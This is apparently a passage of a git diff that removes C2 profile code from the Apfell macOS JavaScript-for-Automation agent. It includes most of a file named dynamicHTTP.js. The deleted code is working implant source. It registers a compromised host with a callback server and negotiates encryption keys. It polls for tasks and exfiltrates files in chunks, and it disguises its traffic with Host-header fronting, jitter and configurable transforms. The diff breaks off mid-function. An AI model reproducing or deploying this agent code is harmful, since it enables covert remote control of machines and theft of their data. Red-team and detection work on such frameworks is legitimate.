- let iv = nsdata.subdataWithRange(iv_range);
- $.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
- let message = nsdata.subdataWithRange(message_range);
- $.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
- // create an hmac and verify it matches
- let message_hmac = nsdata.subdataWithRange(hmac_range);
- let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
- $.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, nsdata.subdataWithRange(hmac_data_range), err);
- $.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
- let hmac_data = $.SecTransformExecute(hmac_transform, err);
- if(hmac_data.isEqualToData(message_hmac)){
- let decryptedData = $.SecTransformExecute(decrypt, Ref());
- //console.log("making a string from the message");
- let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
- //console.log(decrypted_message.js);
- return decrypted_message;
- }
- else{
- return undefined;
- }
- }
- negotiate_key(){
- // Generate a public/private key pair
- let parameters = $({"type": $("42"), "bsiz": 4096, "perm": false});
- let err = Ref();
- let privatekey = $.SecKeyCreateRandomKey(parameters, err);
- //console.log("generated new key");
- let publickey = $.SecKeyCopyPublicKey(privatekey);
- let exported_public = $.SecKeyCopyExternalRepresentation(publickey, err);
- //$.CFShow($.CFMakeCollectable(err[0]));
- try{
- //this is the catalina case
- let b64_exported_public = $.CFMakeCollectable(exported_public);
- b64_exported_public = b64_exported_public.base64EncodedStringWithOptions(0).js; // get a base64 encoded string version
- exported_public = b64_exported_public;
- }catch(error){
- //this is the mojave and high sierra case
- exported_public = exported_public.base64EncodedStringWithOptions(0).js;
- }
- let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
- let session_key = Array(20).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
- let initial_message = {"session_id": session_key, "pub_key": exported_public, "action": "staging_rsa"};
- // Encrypt our initial message with sessionID and Public key with the initial AES key
- while(true){
- try{
- let stage1 = this.htmlPostData(initial_message, apfell.uuid);
- let enc_key = $.NSData.alloc.initWithBase64Encoding(stage1['session_key']);
- let dec_key = $.SecKeyCreateDecryptedData(privatekey, $.kSecKeyAlgorithmRSAEncryptionOAEPSHA1, enc_key, err);
- // Adjust our global key information with the newly adjusted session key
- try{
- this.aes_psk = dec_key.base64EncodedStringWithOptions(0).js; // base64 encoded key
- }catch(error){
- let dec_key_collectable = $.CFMakeCollectable(dec_key);
- dec_key_collectable = dec_key_collectable.base64EncodedStringWithOptions(0).js;
- this.aes_psk = dec_key_collectable;
- }
- //console.log(JSON.stringify(json_response));
- this.parameters = $({"type": $.kSecAttrKeyTypeAES});
- this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
- this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
- this.exchanging_keys = false;
- return stage1['uuid'];
- }catch(error){
- console.log(error.toString());
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
- }
- }
- }
- getConfig(){
- //A RESTful base config consists of the following:
- // BaseURL (includes Port), CallbackInterval, KillDate (not implemented yet)
- let config = {
- "C2": {
- "baseurl": this.baseurl,
- "interval": this.interval,
- "jitter": this.jitter,
- "commands": this.commands.join(", "),
- "api_version": this.api_version,
- "host_header": this.host_header,
- "aes_psk": this.aes_psk
- },
- "Host": {
- "user": apfell.user,
- "fullName": apfell.fullName,
- "ips": apfell.ip,
- "hosts": apfell.host,
- "environment": apfell.environment,
- "uptime": apfell.uptime,
- "args": apfell.args,
- "pid": apfell.pid,
- "apfell_id": apfell.id,
- "payload_id": apfell.uuid
- }};
- return JSON.stringify(config, null, 2);
- }
- checkin(ip, pid, user, host, os, arch, domain){
- //get info about system to check in initially
- //needs IP, PID, user, host, payload_type
- let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os":os, "architecture": arch, "domain": domain, "action": "checkin"};
- if(user === "root"){
- info['integrity_level'] = 3;
- }
- //calls htmlPostData(url,data) to actually checkin
- //Encrypt our data
- //gets back a unique ID
- if(this.using_key_exchange){
- let sessionID = this.negotiate_key();
- //console.log("got session ID: " + sessionID);
- var jsondata = this.htmlPostData(info, sessionID);
- }else{
- var jsondata = this.htmlPostData(info, apfell.uuid);
- }
- apfell.id = jsondata.id;
- // if we fail to get a new ID number, then exit the application
- if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); }
- //console.log(apfell.id);
- return jsondata;
- }
- getTasking(){
- while(true){
- try{
- //let data = {"tasking_size":1, "action": "get_tasking"};
- //let task = this.htmlPostData(this.url, data, apfell.id);
- let task = this.htmlGetData();
- //console.log("tasking got back: " + JSON.stringify(task));
- return task['tasks'];
- }
- catch(error){
- //console.log(error.toString());
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
- }
- }
- }
- postResponse(task, output){
- // this will get the task object and the response output
- return this.postRESTResponse(output, task.id);
- }
- postRESTResponse(data, tid){
- //depending on the amount of data we're sending, we might need to chunk it
- data["task_id"] = tid;
- let postData = {"action": "post_response", "responses": [data]};
- return this.htmlPostData(postData, apfell.id);
- }
- htmlPostData(sendData, uid, json=true){
- let url = this.baseurl;
- if(this.postURI !== ""){ url += "/" + this.postURI;}
- //console.log(url);
- //encrypt our information before sending it
- let data;
- if(this.aes_psk !== ""){
- data = this.encrypt_message(uid, JSON.stringify(sendData));
- }else if(typeof(sendData) === "string"){
- data = $(uid + sendData).dataUsingEncoding($.NSUTF8StringEncoding);
- data = data.base64EncodedStringWithOptions(0);
- }else{
- data = $(uid + JSON.stringify(sendData)).dataUsingEncoding($.NSUTF8StringEncoding);
- data = data.base64EncodedStringWithOptions(0);
- }
- while(true){
- try{ //for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
- //console.log("posting: " + sendData + " to " + urlEnding);
- if( $.NSDate.date.compare(this.kill_date) === $.NSOrderedDescending ){
- $.NSApplication.sharedApplication.terminate(this);
- }
- if( (apfell.id === undefined || apfell.id === "") && (uid === undefined || uid === "")){ $.NSApplication.sharedApplication.terminate(this);}
- let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
- req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
- let postData = data.dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
- let postLength = $.NSString.stringWithFormat("%d", postData.length);
- req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
- if( this.host_header.length > 0){
- req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.host_header), $.NSString.alloc.initWithUTF8String("Host"));
- }
- if (this.user_agent.length > 0){
- req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.user_agent), $.NSString.alloc.initWithUTF8String("User-Agent"));
- }
- req.setHTTPBody(postData);
- let response = Ref();
- let error = Ref();
- let session_config = $.NSURLSessionConfiguration.ephemeralSessionConfiguration;
- session_config.connectionProxyDictionary = $(this.proxy_dict);
- let session = $.NSURLSession.sessionWithConfiguration(session_config);
- let finished = false;
- let responseData;
- session.dataTaskWithRequestCompletionHandler(req, (data, resp) => {
- finished = true;
- responseData = data;
- }).resume;
- while(!finished){
- delay(0.1);
- }
- //responseData is base64(UUID + data)
- if( responseData.length < 36){
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time());
- continue;
- }
- let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
- //let uuid_range = $.NSMakeRange(0, 36);
- let message_range = $.NSMakeRange(36, resp.length - 36);
- //let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
- resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
- //we're not doing the initial key exchange
- if(this.aes_psk !== ""){
- //if we do need to decrypt the response though, do that
- if(json){
- resp = ObjC.unwrap(this.decrypt_message(resp));
- return JSON.parse(resp);
- }else{
- return this.decrypt_message(resp);
- }
- }else{
- //we don't need to decrypt it, so we can just parse and return it
- if(json){
- return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
- }else{
- return $.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding).js;
- }
- }
- }
- catch(error){
- //console.log(error.toString());
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
- }
- }
- }
- htmlGetData(){
- let data = {"tasking_size":1, "action": "get_tasking"};
- if(this.aes_psk !== ""){
- data = this.encrypt_message(apfell.id, JSON.stringify(data)).js;
- }else{
- data = $(apfell.id + JSON.stringify(data)).dataUsingEncoding($.NSUTF8StringEncoding);
- data = data.base64EncodedStringWithOptions(0).js;
- }
- let NSCharacterSet = $.NSCharacterSet.characterSetWithCharactersInString("/+=\n").invertedSet;
- data = $(data).stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet).js;
- let url = this.baseurl;
- if(this.getURI !== ""){ url += "/" + this.getURI; }
- url += "?" + this.queryPathName + "=" + data;
- while(true){
- try{
- if( $.NSDate.date.compare(this.kill_date) === $.NSOrderedDescending ){
- $.NSApplication.sharedApplication.terminate(this);
- }
- if(apfell.id === undefined || apfell.id === ""){ $.NSApplication.sharedApplication.terminate(this);}
- let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
- req.setHTTPMethod($.NSString.alloc.initWithUTF8String("GET"));
- if( this.host_header.length > 0){
- req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.host_header), $.NSString.alloc.initWithUTF8String("Host"));
- }
- if (this.user_agent.length > 0){
- req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.user_agent), $.NSString.alloc.initWithUTF8String("User-Agent"));
- }
- let response = Ref();
- let error = Ref();
- let session_config = $.NSURLSessionConfiguration.ephemeralSessionConfiguration;
- session_config.connectionProxyDictionary = $(this.proxy_dict);
- let session = $.NSURLSession.sessionWithConfiguration(session_config);
- let finished = false;
- let responseData;
- session.dataTaskWithRequestCompletionHandler(req, (data, resp) => {
- finished = true;
- responseData = data;
- }).resume;
- while(!finished){
- delay(0.1);
- }
- if(responseData.length < 36){
- //this means we likely got back some form of error or redirect message, not our actual data
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time());
- continue;
- }
- let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
- //let uuid_range = $.NSMakeRange(0, 36);
- let message_range = $.NSMakeRange(36, resp.length - 36);
- //let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
- resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
- //we're not doing the initial key exchange
- if(this.aes_psk !== ""){
- //if we do need to decrypt the response though, do that
- resp = ObjC.unwrap(this.decrypt_message(resp));
- return JSON.parse(resp);
- }else{
- //we don't need to decrypt it, so we can just parse and return it
- return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
- }
- }
- catch(error){
- //console.log("error in htmlGetData: " + error.toString());
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); //wait timeout seconds and try again
- }
- }
- }
- download(task, params){
- // download just has one parameter of the path of the file to download
- let output = "";
- if( does_file_exist(params) ){
- let offset = 0;
- let chunkSize = 512000; //3500;
- // get the full real path to the file
- let full_path = params;
- try{
- let fm = $.NSFileManager.defaultManager;
- let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(params));
- full_path = "/" + pieces.slice(1).join("/");
- var handle = $.NSFileHandle.fileHandleForReadingAtPath(full_path);
- // Get the file size by seeking;
- var fileSize = handle.seekToEndOfFile;
- }catch(error){
- return {'status': 'error', 'user_output': error.toString(), 'completed': true};
- }
- // always round up to account for chunks that are < chunksize;
- let numOfChunks = Math.ceil(fileSize / chunkSize);
- let registerData = {'total_chunks': numOfChunks, 'full_path': full_path};
- let registerFile = this.postResponse(task, registerData);
- registerFile = registerFile['responses'][0];
- if (registerFile['status'] === "success"){
- handle.seekToFileOffset(0);
- let currentChunk = 1;
- let data = handle.readDataOfLength(chunkSize);
- while(parseInt(data.length) > 0 && offset < fileSize){
- // send a chunk
- let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js,'file_id': registerFile['file_id']};
- this.postResponse(task, fileData);
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time());
- // increment the offset and seek to the amount of data read from the file
- offset += parseInt(data.length);
- handle.seekToFileOffset(offset);
- currentChunk += 1;
- data = handle.readDataOfLength(chunkSize);
- }
- output = {"completed":true, "file_id": registerFile['file_id']};
- }
- else{
- output = {'status': 'error', 'user_output': "Failed to register file to download", 'completed': true};
- }
- }
- else{
- output = {'status': 'error', 'user_output': "file does not exist", 'completed': true};
- }
- return output;
- }
- upload(task, file_id, full_path){
- try{
- let data = {"action": "upload", "file_id": file_id, "chunk_size": 512000, "chunk_num": 1, "full_path": full_path, "task_id": task.id};
- let chunk_num = 1;
- let total_chunks = 1;
- let total_data = $.NSMutableData.dataWithLength(0);
- do{
- let file_data = this.htmlPostData(data, apfell.id);
- if(file_data['chunk_num'] === 0){
- return "error from server";
- }
- chunk_num = file_data['chunk_num'];
- total_chunks = file_data['total_chunks'];
- total_data.appendData($.NSData.alloc.initWithBase64Encoding($(file_data['chunk_data'])));
- data = {"action": "upload", "file_id": file_id, "chunk_size": 512000, "chunk_num": chunk_num + 1, "task_id": task.id};
- }while(chunk_num < total_chunks);
- return total_data;
- }catch(error){
- return error.toString();
- }
- }
-}
-//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
-ObjC.import('Security');
-var C2 = new customC2(callback_interval, "callback_host", "callback_port");
\ No newline at end of file
diff --git a/Payload_Types/apfell/agent_code/c2_profiles/dynamicHTTP.js b/Payload_Types/apfell/agent_code/c2_profiles/dynamicHTTP.js
deleted file mode 100644
index 3d71cbee1..000000000
--- a/Payload_Types/apfell/agent_code/c2_profiles/dynamicHTTP.js
+++ /dev/null
@@ -1,526 +0,0 @@
-//-------------RESTFUL C2 mechanisms ---------------------------------
-class customC2 extends baseC2{
-
- constructor(interval, baseurl){
- super(interval, baseurl);
- this.commands = [];
- this.c2_config = raw_c2_config;
- this.get_messages = this.c2_config['GET']['AgentMessage'];
- this.post_messages = this.c2_config['POST']['AgentMessage'];
- this.interval = this.c2_config['interval'];
- this.chunk_size = this.c2_config['chunk_size'];
- this.jitter = this.c2_config['jitter'];
- this.aes_psk = "AESPSK"; // base64 encoded key
- if(this.aes_psk !== ""){
- this.parameters = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
- $.CFDictionarySetValue(this.parameters, $.kSecAttrKeyType, $.kSecAttrKeyTypeAES);
- $.CFDictionarySetValue(this.parameters, $.kSecAttrKeySizeInBits, $.kSecAES256);
- $.CFDictionarySetValue(this.parameters, $.kSecAttrKeyClass, $.kSecAttrKeyClassSymmetric);
- $.CFDictionarySetValue(this.parameters, $.kSecClass, $.kSecClassKey);
- this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
- let err = Ref();
- this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, err);
- }
- this.using_key_exchange = this.c2_config['key_exchange'];
- this.exchanging_keys = this.using_key_exchange;
- this.dateFormatter = $.NSDateFormatter.alloc.init;
- this.dateFormatter.setDateFormat("yyyy-MM-dd");
- if(this.c2_config['kill_date'] !== undefined && this.c2_config['kill_date'] !== ""){
- this.kill_date = this.dateFormatter.dateFromString(this.c2_config['kill_date']);
- }else{
- this.kill_date = $.NSDate.distantFuture;
- }
- }
- get_random_element(x){
- return x[Math.floor(Math.random() * x.length)];
- }
- encrypt_message(uid, data){
- // takes in the string we're about to send, encrypts it, and returns a new string
- let err = Ref();
- let encrypt = $.SecEncryptTransformCreate(this.cryptokey,err);
- let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
- b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
-
- //generate a random IV to use
- let IV = $.NSMutableData.dataWithLength(16);
- $.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
- b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
- // set our data to be encrypted
- let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
- b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
- //$.CFShow(err[0]);
- let encryptedData = $.SecTransformExecute(encrypt, err);
- // now we need to prepend the IV to the encrypted data before we base64 encode and return it
- //generate the hmac
- let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
- let hmac_input = $.NSMutableData.dataWithLength(0);
- hmac_input.appendData(IV);
- hmac_input.appendData(encryptedData);
- b=$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, hmac_input, err);
- b=$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
- let hmac_data = $.SecTransformExecute(hmac_transform, err);
-
- let final_message = $.NSMutableData.dataWithLength(0);
- final_message.appendData( $(uid).dataUsingEncoding($.NSUTF8StringEncoding) );
- final_message.appendData(IV);
- final_message.appendData(encryptedData);
- final_message.appendData(hmac_data);
- return final_message.base64EncodedStringWithOptions(0);
- }
- decrypt_message(nsdata){
- //takes in a base64 encoded string to be decrypted and returned
- //console.log("called decrypt");
- let err = Ref();
- let decrypt = $.SecDecryptTransformCreate(this.cryptokey, err);
- $.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
- $.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
- //console.log("making ranges");
- //need to extract out the first 16 bytes as the IV and the rest is the message to decrypt
- let iv_range = $.NSMakeRange(0, 16);
- let message_range = $.NSMakeRange(16, nsdata.length - 48); // 16 for IV 32 for hmac
- let hmac_range = $.NSMakeRange(nsdata.length - 32, 32);
- let hmac_data_range = $.NSMakeRange(0, nsdata.length - 32); // hmac includes IV + ciphertext
- //console.log("carving out iv");
- let iv = nsdata.subdataWithRange(iv_range);
- $.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
- let message = nsdata.subdataWithRange(message_range);
- $.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
- // create an hmac and verify it matches
- let message_hmac = nsdata.subdataWithRange(hmac_range);
- let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
- $.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, nsdata.subdataWithRange(hmac_data_range), err);
- $.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
- let hmac_data = $.SecTransformExecute(hmac_transform, err);
- if(hmac_data.isEqualToData(message_hmac)){
- let decryptedData = $.SecTransformExecute(decrypt, Ref());
- //console.log("making a string from the message");
- let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
- //console.log(decrypted_message.js);
- return decrypted_message;
- }
- else{
- return undefined;
- }
- }
- negotiate_key(){
- // Generate a public/private key pair
- let parameters = $({"type": $("42"), "bsiz": 4096, "perm": false});
- let err = Ref();
- let privatekey = $.SecKeyCreateRandomKey(parameters, err);
- //console.log("generated new key");
- let publickey = $.SecKeyCopyPublicKey(privatekey);
- let exported_public = $.SecKeyCopyExternalRepresentation(publickey, err);
- //$.CFShow($.CFMakeCollectable(err[0]));
- try{
- //this is the catalina case
- let b64_exported_public = $.CFMakeCollectable(exported_public);
- b64_exported_public = b64_exported_public.base64EncodedStringWithOptions(0).js; // get a base64 encoded string version
- exported_public = b64_exported_public;
- }catch(error){
- //this is the mojave and high sierra case
- exported_public = exported_public.base64EncodedStringWithOptions(0).js;
- }
- let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
- let session_key = Array(20).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
- let initial_message = {"session_id": session_key, "pub_key": exported_public, "action": "staging_rsa"};
- // Encrypt our initial message with sessionID and Public key with the initial AES key
- while(true){
- try{
- //let req = this.create_message(this.get_random_element(this.post_messages), initial_message, apfell.uuid);
- //let stage1 = this.make_request(req);
- let stage1 = this.make_request("POST", apfell.uuid, initial_message);
- let enc_key = $.NSData.alloc.initWithBase64Encoding(stage1['session_key']);
- let dec_key = $.SecKeyCreateDecryptedData(privatekey, $.kSecKeyAlgorithmRSAEncryptionOAEPSHA1, enc_key, err);
- // Adjust our global key information with the newly adjusted session key
- try{
- this.aes_psk = dec_key.base64EncodedStringWithOptions(0).js; // base64 encoded key
- }catch(error){
- let dec_key_collectable = $.CFMakeCollectable(dec_key);
- dec_key_collectable = dec_key_collectable.base64EncodedStringWithOptions(0).js;
- this.aes_psk = dec_key_collectable;
- }
- //console.log(JSON.stringify(json_response));
- this.parameters = $({"type": $.kSecAttrKeyTypeAES});
- this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
- this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
- this.exchanging_keys = false;
- return stage1['uuid'];
- }catch(error){
- //console.log("error in negotiate_key: " + error.toString());
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
- }
- }
- }
- gen_sleep_time(){
- //generate a time that's this.interval += (this.interval * 1/this.jitter)
- let plus_min = Math.round(Math.random());
- if(plus_min === 1){
- return this.interval + (this.interval * (Math.round(Math.random()*this.jitter)/100));
- }else{
- return this.interval - (this.interval * (Math.round(Math.random()*this.jitter)/100));
- }
- }
- prepend(){
- return arguments[1] + arguments[0];
- }
- r_prepend(){
- return arguments[0].slice(String(arguments[1]).length);
- }
- append(){
- return arguments[0] + arguments[1];
- }
- r_append(){
- return arguments[0].slice(0, -1 * String(arguments[1]).length);
- }
- b64(){
- return base64_encode(String(arguments[0]));
- }
- r_b64(){
- return base64_decode(String(arguments[0]));
- }
- random_mixed(){
- let m = [...Array(Number(arguments[1]))].map(i=>(~~(Math.random()*36)).toString(36)).join('');
- return arguments[0] + m;
- }
- r_random_mixed(){
- return arguments[0].slice(0, -1 * Number(arguments[1]));
- }
- random_number(){
- let m = [...Array(Number(arguments[1]))].map(i=>(~~(Math.random()*10)).toString(10)).join('');
- return arguments[0] + m;
- }
- r_random_number(){
- return arguments[0].slice(0, -1 * Number(arguments[1]));
- }
- random_alpha(){
- let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
- let m = Array(Number(arguments[1])).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
- return arguments[0] + m;
- }
- r_random_alpha(){
- return arguments[0].slice(0, -1 * Number(arguments[1]));
- }
- choose_random(){
- let choice = Math.floor(Math.random()* arguments[1].length);
- if(choice === arguments[1].length){choice -= 1;}
- return arguments[0] + arguments[1][choice];
- }
- r_choose_random(){
- for(let i = 0; i < arguments[1].length; i++){
- if(arguments[0].includes(arguments[1][i])){
- return arguments[0].replace(arguments[1][i], "");
- }
- }
- return arguments[0];
- }
- get_value(value, transforms){
- let tmp = value;
- try {
- if (transforms.length > 0) {
- for (let i = transforms.length - 1; i >= 0; i--) {
- switch (transforms[i]['function']) {
- case "base64":
- tmp = this.r_b64(tmp);
- break;
- case "prepend":
- tmp = this.r_prepend(tmp, transforms[i]['parameters']);
- break;
- case "append":
- tmp = this.r_append(tmp, transforms[i]['parameters']);
- break;
- case "random_mixed":
- tmp = this.r_random_mixed(tmp, transforms[i]['parameters']);
- break;
- case "random_number":
- tmp = this.r_random_number(tmp, transforms[i]['parameters']);
- break;
- case "random_alpha":
- tmp = this.r_random_alpha(tmp, transforms[i]['parameters']);
- break;
- case "choose_random":
- tmp = this.r_choose_random(tmp, transforms[i]['parameters']);
- }
- }
- }
- return tmp;
- }catch(error){
- return "";
- }
- }
- retrieve_message(response, method="POST"){
- let data = this.get_value(($.NSString.alloc.initWithDataEncoding(response, $.NSUTF8StringEncoding)).js, this.c2_config[method]['ServerBody']);
- //console.log("in retrieve_message, returning: " + data);
- return data;
- }
- create_value(value, transforms){
- for(let i = 0; i < transforms.length; i++){
- switch(transforms[i]['function']){
- case "base64":
- value = this.b64(value);
- break;
- case "prepend":
- value = this.prepend(value, transforms[i]['parameters']);
- break;
- case "append":
- value = this.append(value, transforms[i]['parameters']);
- break;
- case "random_mixed":
- value = this.random_mixed(value, transforms[i]['parameters']);
- break;
- case "random_number":
- value = this.random_number(value, transforms[i]['parameters']);
- break;
- case "random_alpha":
- value = this.random_alpha(value, transforms[i]['parameters']);
- break;
- case "choose_random":
- value = this.choose_random(value, transforms[i]['parameters']);
- }
- }
- return value;
- }
- create_message(endpoint, data, agent_id=apfell.id, method="POST"){
- if(this.aes_psk !== ""){
- data = this.encrypt_message(agent_id, JSON.stringify(data)).js;
- }else if(typeof(sendData) === "string"){
- data = $(uid + sendData).dataUsingEncoding($.NSUTF8StringEncoding);
- data = data.base64EncodedStringWithOptions(0);
- }else{
- data = $(agent_id + JSON.stringify(data)).dataUsingEncoding($.NSUTF8StringEncoding);
- data = data.base64EncodedStringWithOptions(0).js;
- }
- let base_url = this.get_random_element(endpoint['urls']);
- let base_uri = endpoint['uri'];
- for(let i in endpoint['urlFunctions']){
- let value = endpoint['urlFunctions'][i]['value'];
- if(value === undefined){value = "";}
- if(value === "message"){value = data;}
- value = this.create_value(value, endpoint['urlFunctions'][i]['transforms']);
- base_uri = base_uri.replace(endpoint['urlFunctions'][i]['name'], value);
- }
- let query_string = "?";
- for(let i in endpoint['QueryParameters']){
- let value = endpoint['QueryParameters'][i]['value'];
- if(value === undefined){value = "";}
- if(value === "message"){value = data;}
- value = this.create_value(value, endpoint['QueryParameters'][i]['transforms']);
- let NSCharacterSet = $.NSCharacterSet.characterSetWithCharactersInString("/+=\n").invertedSet;
- value = $(value).stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet).js;
- query_string += endpoint['QueryParameters'][i]['name'] + "=" + value + "&";
- }
- base_uri += query_string.slice(0, -1); //take off trailing & or ?
- let cookies = {};
- for(let i in endpoint['Cookies']){
- let value = endpoint['Cookies'][i]['value'];
- if(value === undefined){ value = "";}
- if(value === "message"){ value = data;}
- value = this.create_value(value, endpoint['Cookies'][i]['transforms']);
- cookies[endpoint['Cookies'][i]['name']] = value;
- }
- let headers = endpoint['AgentHeaders'];
- let cookie_header = "";
- for(let i in cookies){
- cookie_header += i + "=" + cookies[i] + ";";
- }
- if(cookie_header !== ""){
- headers['Cookie'] = cookie_header;
- }
- let url = base_url + base_uri;
- let body = this.create_value(data, endpoint['Body']);
- // now make the request object
- let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
- for(let i in headers) {
- req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(headers[i]), $.NSString.alloc.initWithUTF8String(i));
- }
- if(method === "POST") {
- req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
- let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
- let postLength = $.NSString.stringWithFormat("%d", postData.length);
- req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
- req.setHTTPBody(postData);
- }
- return req;
- }
- getConfig(){
- //A RESTful base config consists of the following:
- // BaseURL (includes Port), CallbackInterval, KillDate (not implemented yet)
- let config = {
- "C2": {
- "commands": this.commands.join(","),
- "api_version": this.api_version,
- "aes_psk": this.aes_psk,
- "config": this.c2_config
- },
- "Host": {
- "user": apfell.user,
- "fullName": apfell.fullName,
- "ips": apfell.ip,
- "hosts": apfell.host,
- "environment": apfell.environment,
- "uptime": apfell.uptime,
- "args": apfell.args,
- "pid": apfell.pid,
- "apfell_id": apfell.id,
- "payload_id": apfell.uuid
- }};
- return JSON.stringify(config, null, 2);
- }
- checkin(ip, pid, user, host, os, architecture, domain){
- let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os": os, "architecture": architecture, "domain": domain, "action": "checkin"};
- if(user === 'root'){info['integrity_level'] = 3;}
- //let req = null;
- let jsondata = null;
- if(this.exchanging_keys){
- let sessionID = this.negotiate_key();
- jsondata = this.make_request("POST", sessionID, info);
- }else{
- jsondata = this.make_request("POST", apfell.uuid, info);
- }
- apfell.id = jsondata.id;
- // if we fail to get an ID number then exit the application
- if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); }
- return jsondata;
- }
- getTasking(){
- while(true){
- try{
- let task = this.make_request("GET", apfell.id, {"tasking_size":1, "action": "get_tasking"});
- return task['tasks'];
- }
- catch(error){
- //console.log("error in getTasking: " + error.toString());
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
- }
- }
- }
- postResponse(task, data){
- //depending on the amount of data we're sending, we might need to chunk it
- data['task_id'] = task.id;
- let postData = {"action": "post_response", "responses": [data]};
- return this.make_request("POST", apfell.id, postData );
- }
- make_request(method="POST", uid=apfell.id, data=null){
- while(true){
- try{
- let req;
- if(method === "POST"){
- if(this.post_messages.length > 0) {
